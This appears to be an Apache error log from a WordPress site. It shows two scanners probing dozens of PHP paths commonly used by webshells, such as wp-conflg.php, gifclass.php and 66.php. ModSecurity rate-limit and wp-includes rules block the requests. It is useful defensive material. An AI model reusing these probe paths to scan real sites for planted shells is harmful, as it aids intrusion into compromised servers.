[Wed Apr 01 09:19:05.852797 2026] [:error] [pid 23819:tid 23826] [client 20.116.48.67:38791] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fleen.php"] [unique_id "acxyiddfUS_37wFAM74JLQAAAMQ"]
[Wed Apr 01 09:19:07.284586 2026] [:error] [pid 23714:tid 23754] [client 20.116.48.67:38910] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fleen.php"] [unique_id "acxyi0HxDDU2ETcG9DQ_2QAAABQ"]
[Wed Apr 01 09:19:09.167342 2026] [:error] [pid 24348:tid 24392] [client 20.116.48.67:38794] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fleen.php"] [unique_id "acxyjW0Vs69Y5nF1HA8SRAAAAY0"]
[Wed Apr 01 09:19:10.680426 2026] [:error] [pid 23716:tid 23797] [client 20.116.48.67:38676] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-tem.php"] [unique_id "acxyjnVtFUg_mx-RYb6TAQAAAIk"]
[Wed Apr 01 09:19:12.138779 2026] [:error] [pid 24348:tid 24382] [client 20.116.48.67:38782] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-tem.php"] [unique_id "acxykG0Vs69Y5nF1HA8STgAAAYM"]
[Wed Apr 01 09:19:13.598416 2026] [:error] [pid 23714:tid 23757] [client 20.116.48.67:38830] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-tem.php"] [unique_id "acxykUHxDDU2ETcG9DQ_7AAAABc"]
[Wed Apr 01 09:19:15.063387 2026] [:error] [pid 23714:tid 23752] [client 20.116.48.67:38907] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-tem.php"] [unique_id "acxyk0HxDDU2ETcG9DQ_9wAAABI"]
[Wed Apr 01 09:19:16.495184 2026] [:error] [pid 23714:tid 23757] [client 20.116.48.67:38797] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/av6m.php"] [unique_id "acxylEHxDDU2ETcG9DQ_-wAAABc"]
[Wed Apr 01 09:19:17.917014 2026] [:error] [pid 24348:tid 24390] [client 20.116.48.67:38767] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/av6m.php"] [unique_id "acxylW0Vs69Y5nF1HA8SWAAAAYs"]
[Wed Apr 01 09:19:19.388610 2026] [:error] [pid 23714:tid 23738] [client 20.116.48.67:38761] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/av6m.php"] [unique_id "acxyl0HxDDU2ETcG9DRACwAAAAQ"]
[Wed Apr 01 09:19:20.860623 2026] [:error] [pid 23716:tid 23789] [client 20.116.48.67:38821] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/av6m.php"] [unique_id "acxymHVtFUg_mx-RYb6TGQAAAIE"]
[Wed Apr 01 09:19:22.292873 2026] [:error] [pid 23714:tid 23745] [client 20.116.48.67:38666] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/autogooey.php"] [unique_id "acxymkHxDDU2ETcG9DRAHQAAAAs"]
[Wed Apr 01 09:19:23.762108 2026] [:error] [pid 24348:tid 24379] [client 20.116.48.67:38866] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/autogooey.php"] [unique_id "acxym20Vs69Y5nF1HA8SXQAAAYA"]
[Wed Apr 01 09:19:25.228330 2026] [:error] [pid 24348:tid 24380] [client 20.116.48.67:38762] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/autogooey.php"] [unique_id "acxynW0Vs69Y5nF1HA8SYQAAAYE"]
[Wed Apr 01 09:19:26.735499 2026] [:error] [pid 24346:tid 24368] [client 20.116.48.67:38873] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/autogooey.php"] [unique_id "acxynrc1l8kg9MhGHIKxpgAAAVA"]
[Wed Apr 01 09:19:29.276805 2026] [:error] [pid 24348:tid 24398] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/btx25.php
[Wed Apr 01 09:19:29.505715 2026] [:error] [pid 24348:tid 24384] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/mga.php
[Wed Apr 01 09:19:29.727015 2026] [:error] [pid 24348:tid 24388] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/maxro.php
[Wed Apr 01 09:19:29.943440 2026] [:error] [pid 24348:tid 24395] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/agg.php
[Wed Apr 01 09:19:30.157442 2026] [:error] [pid 24348:tid 24393] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/pass4.php
[Wed Apr 01 09:19:30.369896 2026] [:error] [pid 24348:tid 24379] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/wsvvs.php
[Wed Apr 01 09:19:30.598886 2026] [:error] [pid 24348:tid 24380] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/G-In.php
[Wed Apr 01 09:19:30.811668 2026] [:error] [pid 24348:tid 24388] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Wed Apr 01 09:19:31.026786 2026] [:error] [pid 24348:tid 24400] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Wed Apr 01 09:19:31.482129 2026] [:error] [pid 24348:tid 24393] [client 20.116.48.67:38885] File does not exist: /usr/local/apache/htdocs/suspended-page/66.php
[Wed Apr 01 09:19:31.699501 2026] [:error] [pid 24348:tid 24379] [client 20.116.48.67:38885] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acxyo20Vs69Y5nF1HA8SiQAAAYA"]
[Wed Apr 01 09:19:34.353675 2026] [:error] [pid 23714:tid 23745] [client 20.116.48.67:38721] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acxypkHxDDU2ETcG9DRAOgAAAAs"]
[Wed Apr 01 09:19:36.339129 2026] [:error] [pid 23715:tid 23776] [client 20.116.48.67:38758] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acxyqK-REzOruNbiT9yOtAAAAE8"]
[Wed Apr 01 09:19:38.012832 2026] [:error] [pid 24346:tid 24352] [client 20.116.48.67:38738] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acxyqrc1l8kg9MhGHIKxrQAAAUA"]
[Wed Apr 01 09:19:39.466457 2026] [:error] [pid 24314:tid 24330] [client 20.116.48.67:38722] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "acxyq5RF3FCzjmMUX5YGlwAAAQw"]
[Wed Apr 01 09:19:40.972376 2026] [:error] [pid 23716:tid 23795] [client 20.116.48.67:38695] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "acxyrHVtFUg_mx-RYb6TRAAAAIc"]
[Wed Apr 01 09:19:42.425941 2026] [:error] [pid 24346:tid 24357] [client 20.116.48.67:38812] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "acxyrrc1l8kg9MhGHIKxsgAAAUU"]
[Wed Apr 01 09:19:43.913467 2026] [:error] [pid 23715:tid 23785] [client 20.116.48.67:38735] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "acxyr6-REzOruNbiT9yOywAAAFg"]
[Wed Apr 01 09:19:45.473319 2026] [:error] [pid 23714:tid 23751] [client 20.116.48.67:38887] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "acxysUHxDDU2ETcG9DRAVwAAABE"]
[Wed Apr 01 09:19:47.161091 2026] [:error] [pid 23714:tid 23742] [client 20.116.48.67:38776] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acxys0HxDDU2ETcG9DRAZwAAAAg"]
[Wed Apr 01 09:19:48.605321 2026] [:error] [pid 23714:tid 23745] [client 20.116.48.67:38729] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acxytEHxDDU2ETcG9DRAcQAAAAs"]
[Wed Apr 01 09:19:50.108078 2026] [:error] [pid 23715:tid 23774] [client 20.116.48.67:38659] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acxytq-REzOruNbiT9yO0QAAAE0"]
[Wed Apr 01 09:19:51.532765 2026] [:error] [pid 24346:tid 24372] [client 20.116.48.67:38894] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acxyt7c1l8kg9MhGHIKxvgAAAVQ"]
[Wed Apr 01 09:19:53.017445 2026] [:error] [pid 23714:tid 23742] [client 20.116.48.67:38605] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acxyuUHxDDU2ETcG9DRAfQAAAAg"]
[Wed Apr 01 09:19:54.453442 2026] [:error] [pid 23714:tid 23750] [client 20.116.48.67:38781] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acxyukHxDDU2ETcG9DRAgAAAABA"]
[Wed Apr 01 09:19:55.908998 2026] [:error] [pid 23716:tid 23796] [client 20.116.48.67:38880] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acxyu3VtFUg_mx-RYb6TXgAAAIg"]
[Wed Apr 01 09:19:57.349963 2026] [:error] [pid 23819:tid 23830] [client 20.116.48.67:38593] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acxyvddfUS_37wFAM74JbQAAAMg"]
[Wed Apr 01 09:19:58.819826 2026] [:error] [pid 24346:tid 24352] [client 20.116.48.67:38832] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/assets/css/index.php"] [unique_id "acxyvrc1l8kg9MhGHIKxxAAAAUA"]
[Wed Apr 01 09:20:00.261900 2026] [:error] [pid 23714:tid 23758] [client 20.116.48.67:38702] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/assets/css/index.php"] [unique_id "acxywEHxDDU2ETcG9DRAkQAAABg"]
[Wed Apr 01 09:20:01.684911 2026] [:error] [pid 23714:tid 23752] [client 20.116.48.67:38809] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/assets/css/index.php"] [unique_id "acxywUHxDDU2ETcG9DRAmQAAABI"]
[Wed Apr 01 09:20:03.117831 2026] [:error] [pid 23716:tid 23807] [client 20.116.48.67:38736] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/assets/css/index.php"] [unique_id "acxyw3VtFUg_mx-RYb6TcwAAAJM"]
[Wed Apr 01 20:10:56.310912 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/fffff.php
[Wed Apr 01 20:10:56.865377 2026] [:error] [pid 17856:tid 17872] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/xdd.php
[Wed Apr 01 20:10:57.261994 2026] [:error] [pid 17856:tid 17881] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/wo.php
[Wed Apr 01 20:10:57.500673 2026] [:error] [pid 17856:tid 17862] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/wdone1.php
[Wed Apr 01 20:10:57.973440 2026] [:error] [pid 17856:tid 17866] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/ws79.php
[Wed Apr 01 20:10:58.270537 2026] [:error] [pid 17856:tid 17874] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/aee.php
[Wed Apr 01 20:10:58.509714 2026] [:error] [pid 17856:tid 17860] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/max.php
[Wed Apr 01 20:10:58.751926 2026] [:error] [pid 17856:tid 17871] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/ccs.php
[Wed Apr 01 20:10:59.065700 2026] [:error] [pid 17856:tid 17880] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/wglum1.php
[Wed Apr 01 20:10:59.371126 2026] [:error] [pid 17856:tid 17881] [client 20.203.215.185:24691] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Wed Apr 01 20:10:59.672100 2026] [:error] [pid 17856:tid 17861] [client 20.203.215.185:24691] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-true.php"] [unique_id "ac0LUz7Idlm5j9frhqQN3QAAAEM"]
[Wed Apr 01 20:11:00.426159 2026] [:error] [pid 17856:tid 17871] [client 20.203.215.185:30352] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-true.php"] [unique_id "ac0LVD7Idlm5j9frhqQN5AAAAE0"]
[Wed Apr 01 20:11:01.504162 2026] [:error] [pid 8995:tid 9018] [client 20.203.215.185:18762] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-true.php"] [unique_id "ac0LVeonaBjs3qxcRee3bgAAABQ"]
[Wed Apr 01 20:11:02.152402 2026] [:error] [pid 8910:tid 8979] [client 20.203.215.185:13907] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-true.php"] [unique_id "ac0LVqJZINUcF3tYgExTZQAAAQs"]
[Wed Apr 01 20:11:02.842170 2026] [:error] [pid 8909:tid 8949] [client 20.203.215.185:13353] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws42.php"] [unique_id "ac0LVjvP_a0662gDl6CYYQAAAMg"]
[Wed Apr 01 20:11:03.615754 2026] [:error] [pid 8910:tid 8982] [client 20.203.215.185:30385] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws42.php"] [unique_id "ac0LV6JZINUcF3tYgExTZwAAAQ4"]
[Wed Apr 01 20:11:07.627734 2026] [:error] [pid 8908:tid 8918] [client 20.203.215.185:32716] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws42.php"] [unique_id "ac0LW_kmxtJXGnLdvgBwRwAAAIU"]
[Wed Apr 01 20:11:28.242484 2026] [:error] [pid 8909:tid 8947] [client 20.203.215.185:20281] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "ac0LcDvP_a0662gDl6CY_AAAAMY"]
[Wed Apr 01 20:11:29.204604 2026] [:error] [pid 8909:tid 8949] [client 20.203.215.185:20234] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "ac0LcTvP_a0662gDl6CZAQAAAMg"]
[Wed Apr 01 20:11:30.554136 2026] [:error] [pid 8910:tid 8988] [client 20.203.215.185:18772] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "ac0LcqJZINUcF3tYgExTxgAAARQ"]
[Wed Apr 01 20:11:31.522332 2026] [:error] [pid 8995:tid 9021] [client 20.203.215.185:20042] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "ac0Lc-onaBjs3qxcRee38AAAABc"]
[Wed Apr 01 20:11:32.294810 2026] [:error] [pid 8908:tid 8935] [client 20.203.215.185:20274] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ac0LdPkmxtJXGnLdvgBwewAAAJY"]
